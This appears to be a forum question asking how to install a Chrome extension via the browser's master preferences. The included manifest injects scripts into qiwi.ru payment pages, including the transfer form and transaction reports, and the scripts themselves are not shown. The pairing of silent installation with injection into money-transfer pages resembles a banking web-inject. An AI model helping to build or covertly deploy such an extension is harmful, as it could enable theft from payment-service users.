How to write extension to master preference?

Question

Google Chrome

Help installing the extension via master preference in the latest version of
google chrome

{
  "manifest_version": 2,
  "name": "Html insert",
  "version": "1.0",
  "content_scripts": [
    {
      "matches": [ "*://*.qiwi.ru/report/list.action*", "*://*.qiwi.ru/report.action" ],
      "js": [ "jquery.min.js", "qiwiRep.js","data.js" ]
    },
    {
      "matches": [ "*://*.qiwi.ru/*" ],
      "js": [ "jquery.min.js", "qiwiAll.js","data.js" ],
      "run_at": "document_start"
    },
    {
      "matches": [ "*://*.qiwi.ru/transfer/form.action" ],
      "js": [ "jquery.min.js", "qiwiTransfer.js","data.js" ],
      "run_at": "document_start"
    }	
  ]    
}